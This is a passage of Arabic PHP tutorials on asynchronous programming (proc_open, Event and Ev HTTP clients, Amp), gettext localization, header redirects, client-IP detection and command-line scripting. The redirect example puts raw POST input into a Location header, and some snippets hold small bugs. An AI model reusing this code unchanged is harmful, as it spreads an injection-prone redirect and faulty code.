ثانية ثم ينتهي معيدًا سلسلة نصية $coroutine = new Coroutine($generator(1.2)); $coroutine->done(function (string $data) { echo $data, "\n"; }); Loop\run(); إنتاج عمليات غير معطَّلة مع proc_open()‎ لا تدعم PHP تنفيذ الشيفرة بشكلٍ متزامن إلا إذا ثبَّت الإضافات مثل pthread، يمكن تجاوز هذا أحيانًا باستخدام الدوال proc_open()‎ وstream_set_blocking()‎­ وقراءة خرجهم بشكلٍ غير متزامن. يمكننا تنفيذ الشيفرة كعمليات فرعية متعددة إذا قسمناها إلى أجزاء أصغر، ثمّ يمكننا جعل كل عملية فرعية غير معطَّلة باستخدام دالة stream_set_blocking()‎ أي أنّه يمكننا إنتاج عدة عمليات فرعية ثم التحقق من خرجها في حلقة (بشكل مشابه لحلقة حدث) والانتظار حتى تنتهي جميعها. يمكن أن يكون لدينا مثلًا عملية فرعية صغيرة تنفّذ حلقة وتتوقف في كل تكرار بشكلٍ عشوائي لمدة 100- 1000 ميلي ثانية (لاحظ أنّ التأخير هو نفسه لكل عملية فرعية). <?php // subprocess.php $name = $argv[1]; $delay = rand(1, 10) * 100; printf("$name delay: ${delay}ms\n"); for ($i = 0; $i < 5; $i++) { usleep($delay * 1000); printf("$name: $i\n"); } ثم ستنتج العملية الرئيسية عمليات فرعية وتقرأ خرجها، ويمكننا تقسيمه إلى كتل أصغر: إنتاج عمليات فرعية باستخدام proc_open()‎. جعل كل عملية فرعية غير معطَّلة باستخدام stream_set_blocking()‎. تنفيذ حلقة حتى تنتهي كل العمليات الفرعية باستخدام proc_get_status()‎. إغلاق مقابض الملف بشكل صحيح مع أنبوب الخرج لكل عملية فرعية باستخدام fclose()‎ وإغلاق مقابض العملية باستخدام proc_close()‎. <?php // non-blocking-proc_open.php // واصفات الملف لكل عملية فرعية $descriptors = [ ᠎᠎0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout ]; $pipes = []; $processes = []; foreach (range(1, 3) as $i) { // إنتاج عملية فرعية $proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes); $processes[$i] = $proc; // جعل العملية الفرعية غير معطَّلة (أنبوب الخرج فقط) stream_set_blocking($procPipes[1], 0); $pipes[$i] = $procPipes; } // تنفيذ حلقة حتى تنتهي كل العمليات الفرعية while (array_filter($processes, function($proc) { return proc_get_status($proc)['running']; })) { foreach (range(1, 3) as $i) { usleep(10 * 1000); // 100ms // ‫قراءة كل الخرج الممكن (الخرج غير المقروء يُخزَّن مؤقتًا) $str = fread($pipes[$i][1], 1024); if ($str) { printf($str); } } } // إغلاق كل الأنابيب والعمليات foreach (range(1, 3) as $i) { fclose($pipes[$i][1]); proc_close($processes[$i]); } يحتوي الخرج على مزيج من العمليات الفرعية الثلاث بما أننا نقرأها باستخدام fread()‎، لاحظ أنّه في المثال انتهت العملية proc1 قبل العمليتين الباقيتين بكثير. $ php non-blocking-proc_open.php proc1 delay: 200ms proc2 delay: 1000ms proc3 delay: 800ms proc1: 0 proc1: 1 proc1: 2 proc1: 3 proc3: 0 proc1: 4 proc2: 0 proc3: 1 proc2: 1 proc3: 2 proc2: 2 proc3: 3 proc2: 3 proc3: 4 proc2: 4 قراءة منفذ تسلسلي مع إضافة حدث ودخل/خرج مباشر إنّ مجاري الدخل والخرج المباشرة (DIO) غير معروفة الآن من قِبل الإضافة حدث Event، فلا توجد طريقة نظيفة للحصول على واصف الملف مغلفًا ضمن موارد الدخل والخرج المباشرة، إلا أنّ هناك حل بديل: فتح مجرى للمنفذ باستخدام fopen()‎. جعل المجرى غير معطّل باستخدام stream_set_blocking();‎. الحصول على واصف ملف رقمي من المجرى باستخدام EventUtil::getSocketFd();‎. تمرير واصف الملف الرقمي إلى الدالة dio_fdopen()‎ والحصول على مورد دخل/خرج مباشر. إضافة حدث مع رد نداء للتنصت على الأحداث المقروءة على واصف الملف. تُصرَف البيانات المتاحة في رد النداء وتُعالج وفقًا لمنطق تطبيقك. الملف dio.php: <?php class Scanner { // ‫مسار المنفذ مثل ‎/dev/pts/5 protected $port; // واصف الملف الرقمي protected $fd; // EventBase protected $base; // مورد دخل/خرج مباشر protected $dio; // حدث protected $e_open; // حدث protected $e_read; public function __construct ($port) { $this->port = $port; $this->base = new EventBase(); } public function __destruct() { $this->base->exit(); if ($this->e_open) $this->e_open->free(); if ($this->e_read) $this->e_read->free(); if ($this->dio) dio_close($this->dio); } public function run() { $stream = fopen($this->port, 'rb'); stream_set_blocking($stream, false); $this->fd = EventUtil::getSocketFd($stream); if ($this->fd < 0) { fprintf(STDERR, "Failed attach to port, events: %d\n", $events); return; } $this->e_open = new Event($this->base, $this->fd, Event::WRITE, [$this, '_onOpen']); $this->e_open->add(); $this->base->dispatch(); fclose($stream); } public function _onOpen($fd, $events) { $this->e_open->del(); $this->dio = dio_fdopen($this->fd); // استدعاء دوال دخل/خرج مباشر هنا dio_tcsetattr($this->dio, [ 'baud' => 9600, 'bits' => 8, 'stop' => 1, 'parity' => 0 ]); $this->e_read = new Event($this->base, $this->fd, Event::READ | Event::PERSIST, [$this, '_onRead']); $this->e_read->add(); } public function _onRead($fd, $events) { while ($data = dio_read($this->dio, 1)) { var_dump($data); } } } // تغيير وسيط المنفذ $scanner = new Scanner('/dev/pts/5'); $scanner->run(); الاختبار: نفّذ التعليمة التالية في الطرفية A: $ socat -d -d pty,raw,echo=0 pty,raw,echo=0 2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/5 2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/8 2016/12/01 18:04:06 socat[16750] N starting data transfer loop with FDs [5,5] and [7,7] قد يختلف الخرج، استخدم الطرفيات الزائفة من أول سطرين (‎/dev/pts/5‎ و‎/dev/pts/8 بالتحديد). نفّذ في الطرفية B السكربت السابق، قد تحتاج إلى صلاحيات الجذر: $ sudo php dio.php أرسل من الطرفية C سلسلة نصية إلى الطرفية الزائفة الأولى: $ echo test > /dev/pts/8 الخرج: string(1) "t" string(1) "e" string(1) "s" string(1) "t" string(1) " " عميل HTTP بالاعتماد على الإضافة Event إليك مثال عن صنف عميل HTTP بالاعتماد على الإضافة Event، يسمح هذا الصنف بجدولة عدد من طلبات HTTP ثم تنفيذها بشكلٍ غير متزامن. ملف http-client.php: <?php class MyHttpClient { // ‫متغير من الصنف EventBase protected $base; // مصفوفة كائنات من الصنف EventHttpConnection protected $connections = []; public function __construct() { $this->base = new EventBase(); } // ‫دالة لإرسال كل الطلبات المعلقة (أحداث)، تُرجع void public function run() { $this->base->dispatch(); } public function __destruct() { // ‫تدمير كائنات الاتصال بشكلٍ صريح، لا تنتظر كانس المهملات (GC) وإلا قد يتحرر كائن EventBase باكرًا $this->connections = null; } // (1) public function addRequest($address, $port, array $headers, $cmd = EventHttpRequest::CMD_GET, $resource = '/'){ $conn = new EventHttpConnection($this->base, null, $address, $port); $conn->setTimeout(5); $req = new EventHttpRequest([$this, '_requestHandler'], $this->base); foreach ($headers as $k => $v) { $req->addHeader($k, $v, EventHttpRequest::OUTPUT_HEADER); } $req->addHeader('Host', $address, EventHttpRequest::OUTPUT_HEADER); $req->addHeader('Connection', 'close', EventHttpRequest::OUTPUT_HEADER); if ($conn->makeRequest($req, $cmd, $resource)) { $this->connections []= $conn; return $req; } return false; } // (2) public function _requestHandler($req, $unused) { if (is_null($req)) { echo "Timed out\n"; } else { $response_code = $req->getResponseCode(); if ($response_code == 0) { echo "Connection refused\n"; } elseif ($response_code != 200) { echo "Unexpected response: $response_code\n"; } else { echo "Success: $response_code\n"; $buf = $req->getInputBuffer(); echo "Body:\n"; while ($s = $buf->readLine(EventBuffer::EOL_ANY)) { echo $s, PHP_EOL; } } } } } $address = "my-host.local"; $port = 80; $headers = [ 'User-Agent' => 'My-User-Agent/1.0', ]; $client = new MyHttpClient(); // إضافة طلبات معلقة for ($i = 0; $i < 10; $i++) { $client->addRequest($address, $port, $headers, EventHttpRequest::CMD_GET, '/test.php?a=' . $i); } // إرسال طلبات معلقة $client->run(); في الموضع (1) نضيف طلب HTTP معلق، معاملاته هي: ‎$address: اسم المضيف أو IP، سلسلة نصية. ‎$port: رقم المنفذ، عدد صحيح. ‎$headers: ترويسات HTTP إضافية، مصفوفة. ‎$cmd: ثابت EventHttpRequest::CMD_*‎، عدد صحيح. ‎$resource: مورد طلب HTTP مثل '‎/page?a=b&c=d'، سلسلة نصية. القيمة المعادة إما EventHttpRequest أو false. في الموضع (2) نضيف دالة لمعالجة طلب HTTP، معاملاتها: ‎$req، كائن من الصنف EventHttpRequest. ‎$unused، خليط من المعاملات. تعيد هذه الدالة void. الملف test.php، مثال عن سكربت من جهة الخادم: <?php echo 'GET: ', var_export($_GET, true), PHP_EOL; echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL; الاستخدام: php http-client.php مثال عن الخرج: Success: 200 Body: GET: array ( 'a' => '1', ) User-Agent: My-User-Agent/1.0 Success: 200 Body: GET: array ( 'a' => '0', ) User-Agent: My-User-Agent/1.0 Success: 200 Body: GET: array ( 'a' => '3', ) ... // الخرج مختصر لاحظ أنّ الشيفرة صُممت للمعالجة طويلة الأمد في CLI SAPI. عميل HTTP بالاعتماد على الإضافة Ev إليك مثال عن صنف عميل HTTP بالاعتماد على الإضافة Ev. تنفذ الإضافة Ev حدث حلقة بسيط لكن قوي للأغراض العامة، إنّها لا توفر مراقبين خاصين للشبكة لكن يمكن استخدام I/O watcher الخاص بالإضافة للمعالجة غير المتزامنة للمقابس. تظهر الشيفرة التالية كيف يمكن جدولة طلبات HTTP للمعالجة التفرعية. ملف http-client.php: <?php class MyHttpRequest { // ‫كائن من الصنف MyHttpClient private $http_client; // سلسلة نصية private $address; // ‫مورد HTTP من النوع سلسلة نصية مثل ‎/page?get=param private $resource; // ‫طريقة HTTP من النوع سلسلة نصية مثل GET، ‏POST private $method; // عدد صحيح private $service_port; // مقبس مورد private $socket; // مهلة الاتصال بالثانية من النوع عدد عشري private $timeout = 10.; // ‫حجم كل جزء للدالة socket_recv()‎ بالبايتات من النوع عدد صحيح private $chunk_size = 20; ?// ‫كائن من الصنف EvTimer private $timeout_watcher; // ‫كائن من الصنف EvIo private $write_watcher; // ‫كائن من الصنف EvIo private $read_watcher; // ‫كائن من الصنف EvTimer private $conn_watcher; // مخزن مؤقت للبيانات القادمة من النوع سلسلة نصية private $buffer; // الأخطاء التي أخبرت عنها إضافة المقابس في وضع عدم التعطيل من النوع مصفوفة private static $e_nonblocking = [ // ‫عُطِّلت العملية لكن وُضع واصف الملف في وضع عدم التعطيل (EAGAIN أو EWOULDBLOCK) 11, // ‫العملية الحالية قيد التقدم (EINPROGRESS) 115, ]; // (1) public function __construct(MyHttpClient $client, $host, $resource, $method) { $this->http_client = $client; $this->host = $host; $this->resource = $resource; $this->method = $method; // ‫الحصول على المنفذ من خدمة WWW $this->service_port = getservbyname('www', 'tcp'); // ‫الحصول على عنوان IP للمضيف الهدف $this->address = gethostbyname($this->host); // ‫إنشاء مقبس TCP/IP $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$this->socket) { throw new RuntimeException("socket_create() failed: reason: " . socket_strerror(socket_last_error())); } // ‫ضبط الراية O_NONBLOCK socket_set_nonblock($this->socket); $this->conn_watcher = $this->http_client->getLoop() ->timer(0, 0., [$this, 'connect']); } public function __destruct() { $this->close(); } private function freeWatcher(&$w) { if ($w) { $w->stop(); $w = null; } } // تحرير كل موارد الطلب private function close() { if ($this->socket) { socket_close($this->socket); $this->socket = null; } $this->freeWatcher($this->timeout_watcher); $this->freeWatcher($this->read_watcher); $this->freeWatcher($this->write_watcher); $this->freeWatcher($this->conn_watcher); } // دالة تهيئ اتصالًا بالمقبس وتعيد قيمة منطقية public function connect() { $loop = $this->http_client->getLoop(); $this->timeout_watcher = $loop->timer($this->timeout, 0., [$this, '_onTimeout']); $this->write_watcher = $loop->io($this->socket, Ev::WRITE, [$this, '_onWritable']); return socket_connect($this->socket, $this->address, $this->service_port); } // ‫رد نداء لمهلة المراقب (EvTimer) public function _onTimeout(EvTimer $w) { $w->stop(); $this->close(); } // رد نداء يُستدعى عندما يصبح المقبس قابلًا للكتابة public function _onWritable(EvIo $w) { $this->timeout_watcher->stop(); $w->stop(); $in = implode("\r\n", [ "{$this->method} {$this->resource} HTTP/1.1", "Host: {$this->host}", 'Connection: Close', ]) . "\r\n\r\n"; if (!socket_write($this->socket, $in, strlen($in))) { trigger_error("Failed writing $in to socket", E_USER_ERROR); return; } $loop = $this->http_client->getLoop(); $this->read_watcher = $loop->io($this->socket, Ev::READ, [$this, '_onReadable']); // الاستمرار بتنفيذ الحلقة $loop->run(); } // رد نداء يُستدعى عندما يصبح المقبس قابلًا للقراءة public function _onReadable(EvIo $w) { // استقبال 20 بايت في وضع عدم التعطيل $ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT); if ($ret) { // إذا كان لا يزال هناك بيانات للقراءة، أضفها إلى المخزن المؤقت $this->buffer .= $out; } elseif ($ret === 0) { // إذا قُرِأت كل البيانات printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer)); fflush(STDOUT); $w->stop(); $this->close(); return; } // ‫التقاط EINPROGRESS، ‏EAGAIN أو EWOULDBLOCK if (in_array(socket_last_error(), static::$e_nonblocking)) { return; } $w->stop(); $this->close(); } } ///////////////////////////////////// class MyHttpClient { // ‫مصفوفة كائنات من الصنف MyHttpRequest private $requests = []; ?// ‫متغير من الصنف EvLoop private $loop; public function __construct() { // ‫ينفذ كل عميل HTTP حلقة حدث خاصة به $this->loop = new EvLoop(); } public function __destruct() { $this->loop->stop(); } // ‫تعيد هذه الدالة كائن EvLoop public function getLoop() { return $this->loop; } // إضافة طلبات معلقة public function addRequest(MyHttpRequest $r) { $this->requests []= $r; } // إرسال كل الطلبات المعلقة public function run() { $this->loop->run(); } } //// الاستخدام $client = new MyHttpClient(); foreach (range(1, 10) as $i) { $client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i, 'GET')); } $client->run(); في الموضع (1) معاملات الدالة هي: ‎$client من الصنف MyHttpClient. ‎$host اسم المضيف مثل google.co.uk، سلسلة نصية ‎$resource مورد HTTP مثل ‎/page?a=b&c=d، سلسلة نصية. ‎$method طريقة HTTP مثل: GET، ‏HEAD، ‏POST، ‏PUT…، سلسلة نصية. ترمي هذه الدالة الاستثناء RuntimeException. الاختبار: بفرض أنّ سكربت http://my-host.local/test.php يطبع محتويات ‎$_GET: <?php echo 'GET: ', var_export($_GET, true), PHP_EOL; سيكون عندها خرج الأمر php http-client.php مشابهًا للتالي: <<<< HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Fri, 02 Dec 2016 12:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.0.13-pl0-gentoo 1d GET: array ( 'a' => '3', ) 0 >>>> <<<< HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Fri, 02 Dec 2016 12:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.0.13-pl0-gentoo 1d GET: array ( 'a' => '2', ) 0 >>>> ... // الخرج مختصر لاحظ أنّ إضافة المقابس في PHP 5 قد تسجل تحذيرات لقيم الخطأ EINPROGRESS وEAGAIN وEWOULDBLOCK، من الممكن تعطيل هذه التسجيلات بكتابة الشيفرة: error_reporting(E_ERROR); استخدام حلقة الحدث Amp تستفاد مكتبة العمل Amp من الوعود (اسم آخر لكائنات Awaitables) والمولِّدات لإنشاء نمط مشترك. require __DIR__ . '/vendor/autoload.php'; use Amp\Dns; // جرب الأسرع محللنا المعرّف من قِبل النظام أو غوغل function queryStackOverflow($recordtype) { $requests = [ Dns\query("stackoverflow.com", $recordtype), Dns\query("stackoverflow.com", $recordtype, ["server" => "8.8.8.8"]), ]; // تعيد وعدًا ينتهي عندما ينتهي أول طلب return yield Amp\first($request); } \Amp\run(function() { // الحلقة الأساسية، نمط مشترك ضمنيًا try { // التحويل إلى نمط مشترك باستخدام Amp\resolve()‎ $promise = Amp\resolve(queryStackOverflow(Dns\Record::NS)); list($ns, $type, $ttl) = // ‫نحتاج إلى نتيجة NS واحدة وليس كل النتائج current(yield Amp\timeout($promise, 2000 /* milliseconds */)); echo "The result of the fastest server to reply to our query was $ns"; } catch (Amp\TimeoutException $e) { echo "We've heard no answer for 2 seconds! Bye!"; } catch (Dns\NoRecordException $e) { echo "No NS records there? Stupid DNS nameserver!"; } }); التوطين (Localization) توطين السلاسل النصية مع gettext()‎ gettext من مكتبة GNU هي إضافة PHP يجب تضمصينها ضمن ملف php.ini: extension=php_gettext.dll #Windows extension=gettext.so #Linux تنفذ دوال gettext واجهة برمجة تطبيقات دعم اللغة الأصلية (NLS) والتي يمكن استخدامها لتوطين تطبيقات PHP. يمكن إجراء السلاسل النصية للترجمة في PHP بضبط المحلية (locale) وضبط جداول الترجمة واستدعاء gettext()‎ على أي سلسلة نصية تريد ترجمتها. <?php // ضبط اللغة إلى الفرنسية putenv('LC_ALL= fr_FR'); setlocale(LC_ALL, 'fr_FR'); // ‫تحديد موقع جداول الترجمة للنطاق 'myPHPApp' bindtextdomain("myPHPApp", "./locale"); // ‫اختيار النطاق 'myPHPApp' textdomain("myPHPApp"); الملف myPHPApp.po: #: /Hello_world.php:56 msgid "Hello" msgstr "Bonjour" #: /Hello_world.php:242 msgid "How are you?" msgstr "Comment allez-vous?" تحمّل الدالة gettext()‎ ملف ‎.po بعد تصريفه أي ملف ‎.mo، الذي يربط ملفك ليصبح سلاسل نصية مترجمة كما في الأعلى. بعد هذه الشيفرة البسيطة سيُنظر إلى الترجمة في الملف التالي: ./locale/fr_FR/LC_MESSAGES/myPHPApp.mo عندما تستدعي gettext('some string')‎، إذا كانت السلسلة النصية 'some string' مُترجمة في الملف ‎.mo ستُرجع الترجمة وإلا ستُرجع السلسلة 'some string' غير مترجمة. // ‫طباعة النسخة المترجمة من 'Welcome to My PHP Application' echo gettext("Welcome to My PHP Application"); // ‫أو نستخدم الاسم البديل `‎_()‎` للدالة `gettext()‎` echo _("Have a nice day"); معالجة الترويسات الضبط الأساسي للترويسة إليك الضبط الأساسي لترويسة للانتقال إلى صفحة جديدة عند الضغط على زر: if(isset($_REQUEST['action'])) { switch($_REQUEST['action']) { // ضبط الترويسة بالاعتماد على أي الزر المضغوط case 'getState': header("Location: http://NewPageForState.com/getState.php?search=" . $_POST['search']); break; case 'getProject': header("Location: http://NewPageForProject.com/getProject.php?search=" . $_POST['search']); break; } else { GetSearchTerm(!NULL); } // نماذج لإضافة ولاية أو مشروع والضغط على البحث function GetSearchTerm($success) { if (is_null($success)) { echo "<h4>You must enter a state or project number</h4>"; } echo "<center><strong>Enter the State to search for</strong></center><p></p>"; // ‫استخدام `‎$_SERVER['PHP_SELF']‎` يبقينا في الصفحة حتى تقرر تعليمة `switch` أين سنذهب echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'> <input type='hidden' name='action' value='getState'> <center>State: <input type='text' name='search' size='10'></center><p></p> <center><input type='submit' name='submit' value='Search State'></center> </form>"; GetSearchTermProject($success); } function GetSearchTermProject($success) { echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>"; echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'> <input type='hidden' name='action' value='getProject'> <center>Project Number: <input type='text' name='search' size='10'></center><p></p> <center><input type='submit' name='submit' value='Search Project'></center> </form>"; } ?> كيفية كشف عنوان IP لعميل الاستخدام المناسب للترويسة HTTPXFORWARDED_FOR يوجد متغير آخر يُستخدم بشكلٍ سيء على نطاق واسع في ضوء أحدث ثغرات httpoxy، تُستخدم الترويسة HTTP_X_FORWARDED_FOR غالبًا لكشف عنوان IP لعميل، لكن قد يؤدي ذلك بدون أي عمليات تحقق إضافية إلى مشاكل في الأمان خاصةً عند استخدام عنوان IP هذا لاحقًا للمصادقة أو في استعلامات SQL بدون تعقيم. تتجاهل معظم أمثلة الشيفرة المتوفرة حقيقة أنّه يمكن أن نعد HTTP_X_FORWARDED_FOR معلومةً يوفرها العميل بنفسه ولذا فهي مصدر غير موثوق لاكتشاف عنوان IP العميل، تضيف بعض هذه الأمثلة تحذيرًا بشأن سوء الاستخدام المحتمل لكنها لا تزال تفتقد إلى القيام بالتحقق في شيفرتها، لذا نقدم لك مثالًا عن دالة مكتوبة في PHP عن كيفية كشف عنوان IP لعميل إذا كنت تعرف أنّ العميل يستخدم وكيلًا (proxy) وأنت تعرف أنّه يمكن الوثوق بهذا الوكيل، إذا لم تكن تعرف أي وكيل موثوق فيمكنك استخدام REMOTE_ADDR فقط. function get_client_ip() { // لا يوجد شيء لفعله بدون معلومات موثوقة if (!isset($_SERVER['REMOTE_ADDR'])) { return NULL; } // ‫الترويسة التي يستخدمها الوكيل الموثوق للإشارة إلى عنوان IP الأصلي $proxy_header = "HTTP_X_FORWARDED_FOR"; // (1) $trusted_proxies = array("2001:db8::1", "192.168.50.1"); if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) { // ‫الحصول على عنوان IP للعميل الذي يستخدم وكيل موثوق if (array_key_exists($proxy_header, $_SERVER)) { // (2) $client_ip = trim(end(explode(",", $_SERVER[$proxy_header]))); // التحقق فقط في حالة if (filter_var($client_ip, FILTER_VALIDATE_IP)) { return $client_ip; } else { // (3) } } } // ‫في كل الحالات الباقية REMOTE_ADDR هو عنوان IP الوحيد الذي يمكن الوثوق به return $_SERVER['REMOTE_ADDR']; } print get_client_ip(); في الموضع (1) نضيف قائمة بكل الوكلاء المعروفين لمعالجة 'proxy_header' بطريقةٍ آمنةٍ. في الموضع (2) يمكن أن تحتوي الترويسة على عدة عناوين IP لوكلاء تمر عبرها، يمكن الوثوق فقط بعنوان IP الذي أضافه الوكيل الأخير (الموجود في القائمة). في الموضع (3) فشل التحقق مما يعني فوز الشخص الذي ضَبط الوكيل أو أنشأ قائمة الوكلاء الموثوقين لذا يجب إضافة معالجة للأخطاء هنا والتنبيه على خطأ الشخص المسؤول. ترجمة -وبتصرف- للفصول [Coding Conventions - Asynchronous programming - Localization - Headers Manipulation - How to Detect Client IP Address] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: معالجة الصور مع مكتبة GD ومكتبة Imagick في PHP المقال السابق: التعامل مع واجهة سطر الأوامر (CLI) في PHP
  14. معالجة خيارات البرنامج يمكن معالجة خيارات البرنامج باستخدام الدالة getopt()‎، التي تعمل بصيغة مشابهة للأمر getopt في معايير POSIX مع دعم إضافي للخيارات الطويلة ذات النمط GNU. #!/usr/bin/php // تشير النقطتين إلى خيار يأخذ قيمة // تشير النقطتين المضاعفتين إلى قيمة يمكن إهمالها $shortopts = "hf:v::d"; // ‫الخيارات الطويلة ذات النمط GNU غير مطلوبة $longopts = ["help", "version"]; $opts = getopt($shortopts, $longopts); // ‫تُسند القيمة المنطقية false للخيارات التي ليس لها قيم، يجب التحقق من وجودها وليس صدقها if (isset($opts["h"]) || isset($opts["help"])) { fprintf(STDERR, "Here is some help!\n"); exit; } // ‫تُستدعى الخيارات الطويلة مع شرطتين: "‎--version" if (isset($opts["version"])) { fprintf(STDERR, "%s Version 223.45" . PHP_EOL, $argv[0]); exit; } // ‫يمكن استدعاء الخيارات ذات القيم بالشكل "‎-f foo" أو ‏"‎-ffoo" أو "‎-f=foo" $file = ""; if (isset($opts["f"])) { $file = $opts["f"]; } if (empty($file)) { fprintf(STDERR, "We wanted a file!" . PHP_EOL); exit(1); } fprintf(STDOUT, "File is %s" . PHP_EOL, $file); // ‫يمكن استدعاء الخيارات ذات القيم الافتراضية بالشكل "‎-v5" أو "‎-v=5" $verbosity = 0; if (isset($opts["v"])) { $verbosity = ($opts["v"] === false) ? 1 : (int)$opts["v"]; } fprintf(STDOUT, "Verbosity is %d" . PHP_EOL, $verbosity); // تُمرَّر الخيارات التي نستدعيها عدة مرات كمصفوفة $debug = 0; if (isset($opts["d"])) { $debug = is_array($opts["d"]) ? count($opts["d"]) : 1; } fprintf(STDOUT, "Debug is %d" . PHP_EOL, $debug); // ‫لا توجد طريقة تلقائية عند getopt لمعالجة الخيارات غير المتوقعة يمكن اختبار السكربت السابق بالشكل: ./test.php --help ./test.php --version ./test.php -f foo -ddd ./test.php -v -d -ffoo ./test.php -v5 -f=foo ./test.php -f foo -v 5 -d لاحظ أنّ الطريقة الأخيرة لن تعمل لأنّ ‎-v 5 غير صحيحة. ملاحظة: يعدّ الأمر getopt بدءًا من الإصدار PHP 5.3.0 مستقلًا عن نظام التشغيل ويعمل أيضًا على نظام ويندوز. معالجة الوسيط تُمرَّر الوسائط إلى البرنامج بطريقة مشابهة لمعظم اللغات ذات النمط C، إنّ ‎$argc عدد صحيح يعبّر عن عدد الوسائط متضمنةً اسم البرنامج و‎$argv مصفوفة تتضمن وسائط البرنامج. العنصر الأول من ‎$argv هو اسم البرنامج. #!/usr/bin/php printf("You called the program %s with %d arguments\n", $argv[0], $argc - 1); unset($argv[0]); foreach ($argv as $i => $arg) { printf("Argument %d is %s\n", $i, $arg); } استدعاء التطبيق السابق باستخدام php example.php foo bar (حيث يتضمن الملف example.php الشيفرة السابقة) سيؤدي إلى الخرج التالي: You called the program example.php with 2 arguments Argument 1 is foo Argument 2 is bar لاحظ أنّ ‎$argc و‎$argv هي متغيرات عامة وليست متغيرات ذات نطاق عام عالي، ويجب استيرادها إلى النطاق المحلي باستخدام الكلمة المفتاحية global عندما نحتاج إلى استخدامها في دالة ما. يُظهر هذا المثال كيف تُجمَّع الوسائط عندما نهرب باستخدام "" أو \. مثال عن سكربت: var_dump($argc, $argv); سطر الأوامر: $ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\ multiple\spaces\ counted\ as\ one int(6) array(6) { [0]=> string(13) "argc.argv.php" [1]=> string(19) "--this-is-an-option" [2]=> string(20) "three words together" [3]=> string(2) "or" [4]=> string(12) "in one quote" [5]=> string(34) "but multiple spaces counted as one" } إذا نُفِّذ سكربت PHP باستخدام ‎-r: $ php -r 'var_dump($argv);' array(1) { [0]=> string(1) "-" } أو تُرسل الشيفرة عبر أنبوب في مجرى الدخل القياسي php: $ echo '<?php var_dump($argv);' | php array(1) { [0]=> string(1) "-" } معالجة الدخل والخرج إنّ الثوابت STDIN وSTDOUT وSTDERR معرَّفة مسبقًا عند التنفيذ من واجهة سطر الأوامر (CLI)، وهي مقابض للملف يمكن أن نعدّها مكافئة لنتائج تنفيذ الأوامر التالية: STDIN = fopen("php://stdin", "r"); STDOUT = fopen("php://stdout", "w"); STDERR = fopen("php://stderr", "w"); يمكن استخدام الثوابت في أي مكان يكون مقبض الملف القياسي فيه: #!/usr/bin/php while ($line = fgets(STDIN)) { $line = strtolower(trim($line)); switch ($line) { case "bad": fprintf(STDERR, "%s is bad" . PHP_EOL, $line); break; case "quit": exit; default: fprintf(STDOUT, "%s is good" . PHP_EOL, $line); break; } } يمكن استخدام عناوين المجرى المضمَّن المُشار إليها سابقًا php://stdin وphp://stdout وphp://stderr مكان أسماء الملفات في معظم الحالات: file_put_contents('php://stdout', 'This is stdout content'); file_put_contents('php://stderr', 'This is stderr content'); // فتح المقبض والكتابة عدة مرات $stdout = fopen('php://stdout', 'w'); fwrite($stdout, 'Hello world from stdout' . PHP_EOL); fwrite($stdout, 'Hello again'); fclose($stdout); يمكن أن تستخدم أيضًا الدالة readline()‎ كبديل للدخل وتستخدم echo أو print أو أي دالة من دوال طباعة السلسلة النصية كبديل للخرج. $name = readline("Please enter your name:"); print "Hello, {$name}."; الشيفرات المُعادة يمكن استخدام البنية exit لتمرير شيفرة معادة إلى بيئة التنفيذ. #!/usr/bin/php if ($argv[1] === "bad") { exit(1); } else { exit(0); } ستُرجَع شيفرة الخروج 0 بشكلٍ افتراضي إذا لم تُمرَّر قيمة أي أنّ exit نفس exit(0)‎ وبما أنّ exit ليست دالة فإنّ الأقواس غير ضرورية إذا لم تُمرَّر شيفرة معادة. يجب أن تكون الشيفرات المُعادة في المجال بين 0 و254 (الشيفرة 255 محجوزة من قِبَل PHP ويجب عدم استخدامها)، اصطلاحًا إنّ الخروج بالشيفرة المُرجعة 0 تُخبر البرنامج المُستدعي أنّ سكربت PHP نُفِّذ بنجاح أما الشيفرة المرجعية غير الصفرية تُخبر البرنامج المستدعي بحدوث حالة خطأ محددة. قصر تنفيذ السكربت على سطر الأوامر يُرجع كل من الدالة php_sapi_name()‎ والثابت PHP_SAPI نوع الواجهة (واجهة برمجة تطبيقات الخادم Server API) التي تستخدمها PHP، ويمكن استخدامها لقصر تنفيذ السكربت على سطر الأوامر عن طريق التحقق فيما إذا كان خرج الدالة يساوي cli. if (php_sapi_name() === 'cli') { echo "Executed from command line\n"; } else { echo "Executed from web browser\n"; } الدالة drupal_is_cli()‎ هي مثال عن دالة تكتشف فيما إذا كان السكربت قد نُفِّذ من سطر الأوامر: function drupal_is_cli() { return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0))); } الاختلافات السلوكية في سطر الأوامر تعرض PHP عند التنفيذ من CLI بعض السلوكيات المختلفة عن السلوكيات عند التنفيذ على خادم ويب، يجب أن تتذكر هذه السلوكيات خاصةً في حالة تنفيذ نفس السكربت في البيئتين. لا يتغير المجلد عند التنفيذ على خادم ويب بل يبقى مجلد العمل الحالي للسكربت نفسه دائمًا، تفترض الشيفرة require("./stuff.inc");‎ أنّ الملف في نفس مجلد السكربت، أما في سطر الأوامر فإنّ مجلد العمل الحالي هو المجلد الذي يُستدعى منه السكربت، يجب أن تستخدم السكربتات التي ستُستدعى من سطر الأوامر مسارات مطلقة. (لاحظ أنّ الثوابت 